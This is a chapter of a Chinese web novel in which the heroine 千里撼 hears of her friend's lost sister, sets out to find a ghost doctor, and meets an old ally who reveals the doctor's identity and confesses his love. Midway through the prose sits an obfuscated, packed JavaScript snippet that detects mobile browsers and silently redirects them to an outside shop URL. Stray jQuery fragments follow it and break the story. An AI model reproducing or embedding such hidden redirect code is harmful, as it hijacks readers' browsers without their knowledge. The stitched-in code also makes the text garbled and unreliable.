56. 阇罗斯丹篇

作品:《我与皇权不得不说的秘密

    牡丹:“我瞧你这身子好的差不多了,如今只肖寻到鬼医叫他给你清淤排毒即可。”


    “话虽如此,可我,”千里撼顿了顿,忽然瞧到牡丹的玉佩,微微蹙眉只觉得有些眼熟,“我们……谁也不晓得鬼医身在何处啊。”


    “我倒有些消息,”牡丹顺着她的视线看去,疑惑道,“怎么了?”


    “你这玉佩,是哪里买的?”


    “不是买的,”牡丹托起它,眼底不自觉流露出淡淡哀伤,“是我家传的。你瞧,上头还有我的名字。”


    翠绿的玉佩上头,一个模糊的“城”字陷了下去。


    千里撼摸着那块玉,愈来愈熟悉,记忆中仿佛也出现过这样一块翠绿的玉,也是这般触手生凉。


    “怎么,陆姑娘,你认得这块玉吗?”牡丹的眼睛一下亮起来,迫切的看向千里撼,抓住她道。


    “有些……眼熟?”


    牡丹突然激动起来,拉着她道,“你见过这块玉吗?在哪见过,带在谁的身上?那人是男是女,你可还记得那人?陆姑娘!陆姑娘?”


    千里撼一时想不起,直起身来摇摇头道,“抱歉,我想不起来了。”


    牡丹刚提起的一口气顿时噎在胸口,良久,她低头笑了下,手背飞快划过眼尾,“是我失态了……没关系,想不起来也没关系。”


    千里撼:“方便同我说说吗?”


    “其实,我还有个妹妹,”牡丹拾起玉佩放在手心蹭了蹭,“当年阇州沦陷,我父母害怕敌人屠城便设法将尚在襁褓中的胞妹和我送回大魏。可流民那么多,大家都饿着肚子,有一天粮食都吃光了,就有人盯上我们两个,父母与她们缠斗起来护送我们跑了出去,之后我便和他们失散了。后来我遇到一个世外高人,她说我妹妹骨骼惊奇便收留了我妹妹。可她性格古怪,任凭我怎么说也不要我跟着,走投无路之际我又回了阇罗斯丹寻亲,后来便被人牙子卖到春风楼,直到现在。”


    “这块玉佩是我和妹妹唯一的连接,我本名叫穆还城,所以上面有个城字。”她摊开手将玉佩展示给千里撼,“可惜过了这么多年,我已经不记得妹妹手里那块刻的是什么字了。就连父母的名字我也忘了。”


    千里撼握住牡丹安慰道,“我既有印象就证明你妹妹一定还活着。你放心,等我回去后定会为你找到她的线索。”


    “那便多谢了。这么说,你就要走了?”


    千里撼点点头道:“是啊,不是说好了要去找鬼医嘛。”


    “这样啊,”牡丹点点头,“也是。我听说他最近一次露面是在三个月前,好像是在东山至七枝县一带。”


    “哎,那也不是很远嘛。”戏扇道。


    “不远倒是不远,只是姜魏两国紧张,来往人士查的严,你们想走也只能走山路。这样,从往复山走吧,此处毗邻东山,鱼龙混杂不易发现。道南是东山,道北是七枝,你们找起来也方便。”


    千里撼点点头,“也好。”


    戏扇备了些干粮与蝴蝶辞行,他和千里撼两人翻山越岭,昼伏夜出的赶路,时不时还要左右躲避官差,历时四个月终于到了往复山。


    千里撼拄着拐杖站在山顶向下望去,身旁巨大的石碑上刻着七个字“往复山上来硕崖”,层层云雾弥漫,当年她就是从这里掉了下去。


    四个月的路程,她走了四年多,如今再站上这里难免感慨万分。


    “怎么了?”戏扇问道。


    “没什么,”千里撼看向远处,天边隐隐露出朝阳,“只是觉得这里风景好。”


    “好了,继续赶路吧。”她转身离开。


    树旁,一道身影捂住口鼻不敢呼吸,生怕被人发现,待二人离开他便飞快下山往大魏方向跑去。


    “东山驿栈?”戏扇看着牌子挠了挠头道,“怎么只有木牌啊,驿站呢?”


    千里撼看了眼那块被风雨摧残的不成样子的木牌,指了指前方废墟道:“喏,这里就是。”


    “啊?荒废了啊!”戏扇沮丧道。


    “是啊,常年兵荒马乱的,怎么开的下去。”千里撼过去找块石头坐下来轻轻按摩着左腿。


    戏扇过来打开包袱道,“怎么样,是不是腿又疼了?贴一贴膏药吧。”


    “嗯。”千里撼点点头。


    一阵黄沙卷过,戏扇往风来的方向转了转,背对着为她挡些风,两人额头相抵,亲密无间。


    “咔哒!”


    远处忽然有木头开裂的声音,谁也没多想,毕竟这几日风大,吹断树枝也没什么可新鲜的。


    “……郡主?”


    千里撼一愣,脊骨发麻,这称呼真是久违了。


    她缓缓直起身来,越过戏扇的身躯抬头望去,露出半张脸。远处,楚祈姝正站在那块断了的木牌旁。


    “真的是你吗,郡主。”


    楚祈姝站在原地,看着风中人影恐惧的不敢向前去,黄沙塞进眼眶,他只敢远远地看着。


    千里撼望着他,戏扇也察觉到了,缓缓转身。良久,千里撼笑起来,点点头道,“好久不见。”


    “真的是你……真的!是你!”楚祈姝迈着沉重的步子向前挪去,步伐越跨越大,最后猛的一扑,抱住千里撼腰身才终于有了实感,“你还活着!你真的活着!”


    “是,我还活着。”千里撼拍拍他轻颤的背。


    他流着泪,双眉紧蹙,上半张脸难过的要死,可嘴却是在笑着,表情和他这人一样别扭。千里撼没忍住笑话他道,“这么多年过去,你怎么还是这幅样子。如何,过得还好吗?”


    楚祈姝也笑起来,擦擦眼泪更清晰的看见她,千里撼明显瘦了,不似从前英姿勃发,像一颗菩提,多了些千帆过尽的沧桑之感,但也更沉稳了。


    他道:“好,托你的福一切都好。当年我拿着你的荐帖化名陆文举参加科考,后来便在这附近的七枝县任县丞,一做就是三年。我学了很多,证明了自己,这都要归功于你。”


    千里撼摆摆手,“这归功于你自己。没少受罪吧。”


    “郡主才是,一定受了许多苦。”楚祈姝望向她手边拐杖不忍动容。


    “人生在世,几个能一帆风顺。”千里撼不以为然,“苦与不苦,活着就比死了强。”


    楚祈姝看向戏扇,“这位是?”


    千里撼介绍道,“这位是戏百贺,我的夫郎。”


    “戏扇,”她又道,“这是楚祈姝。”


    戏扇点点头道,“真是气度不凡啊,叫我戏扇就行,哈哈。”


    楚祈姝一听这话,眉头抽搐,暗自咬了咬牙,作揖道:“叫我陆文举就好,这是郡主亲自为我取的名字。”


    “哦哦,陆文举,好的。”戏扇点点头。


    “郡主,既然你没事那我们何时启程回姜国,陛下她一定很想见到你。”楚祈姝道。


    千里撼搓了搓膝盖,低头笑笑,“我要回的不是姜国,而是云州啊。不过现在还不是时候。”


    “为什么?”


    千里撼:“我身中剧毒朝不保夕,如今要找鬼医来施针救命。”


    “鬼医?”楚祈姝皱了皱眉像知道些什么,“竹林鬼医?”


    戏扇点点头兴奋道:“就是他!怎么,你认识他?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303578|198540||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    楚祈姝叹了口气,看向千里撼,眼里有许多说不清道不明的东西,“郡主应当比我还要认得他。你们跟我走,我带你们去见他吧。”


    千里撼看着楚祈姝,顿了顿转过头道,“戏扇,我有些渴,你去打点水来吧。”


    “好。”


    望着戏扇远去背影,千里撼一把拉住楚祈姝道:“你是不是知道些什么。你告诉我,这个鬼医是谁?”


    “郡主猜不出吗。”


    “我就是猜得才要问你!”


    千里撼全身紧绷,带着自我欺骗的荒唐,她始终回避这一切,如今更是不敢相信自己的猜测,“你说,他是谁。”


    “鬼门十三针,闻家十三郎,闻仙狂。”楚祈姝缓缓蹲下为千里撼拭去汗珠,“郡主想必早就猜到了吧。”


    “……那为什么都传言他是个老头子?还说他性情乖戾?”千里撼有些语无伦次,像是找到了理由,“楚祈姝,你没见过闻武所以你可能不清楚,他的头发本来就是——”


    “他疯了。”


    楚祈姝毫不留情道,“从你消失后他就变得疯疯癫癫,不修边幅,常年徘徊于来硕崖附近,或行医或杀人,喜怒无常。”


    千里撼顿时愣住,心口一疼。


    楚祈姝将手盖在千里撼攥紧的拳头上,“郡主,我不是趁人之危,也不想挑拨离间。你消失这些年我们大家都以为你死了,一晃五年,大家死的死、伤的伤、疯的疯、散的散,我也不例外。打从你当年给我那封荐帖起我便对你钟情,你是这世上最明白我的人。我不在意身份,只求能伴你左右。郡主,给我一个机会好吗?”


    他将千里撼的掌心贴在自己胸口,擂鼓似的声响证明了他的真心。


    “楚祈姝,我已经不是郡主了,你也不再陆文举,”千里撼看向他,缓缓抽出手来,“你有才华,有能耐,为什么非要选择把自己困在我身边?你此行大概就是要回姜国吧,那里有玉雪倾,有楚长行。若我没猜错,这些年来你在大魏,名为做官实为潜伏。如今大局已定,姜国百废俱兴,你习得一身本领就是要去实现抱负的!”


    “姜国正是用人之际,凭你的能耐,最低五年就能做到九卿的位置,时日一多就连三公也能有望。这样大好的前途摆在眼前,你却说宁可什么都不要也要陪在我身边?”千里撼指着他的鼻子骂道,“楚祈姝,你疯了!”


    “我没疯,我就是想搏一搏,”楚祈姝望向她,惨笑一下,像个彻头彻尾的失败者,“你果然和我想的一模一样……郡主,我的心不会变。”


    千里撼:“楚祈姝,我不怕告诉你,我如今的身体犹如风中秉烛,一眨眼都可能没有明天。这五年里我每日都提心吊胆的活着,生怕就那么悄无声息的死了,所以只敢躲着。你把自己挂在我这么个废人身上根本不值得,我给不了你任何承诺——”


    “我不要承诺!”楚祈姝颤抖着捂住她的嘴巴,生怕她再说出一个字刺痛自己,“我只要一个可能。如果哪天你累了,倦了,想要逃走时就来找我,无论何时我都会等着你。我会听你的话,遂你的愿,哪怕天涯海角都陪你一起。至于其它,我本就不奢求,所以我求你不要这样咒自己。”


    千里撼看着他,终究败下阵来。


    楚祈姝:“我会去姜国,用尽毕生所学。可你也不要忘了我,我永远是你的陆文举。”


    千里撼没说话,点了点头。


    楚祈姝笑起来,“这就够了。”


    戏扇从远处打水回来道:“水来啦!我们什么时候走啊?”


    千里撼深吸一口气,扶着拐杖起身道:“现在就走。”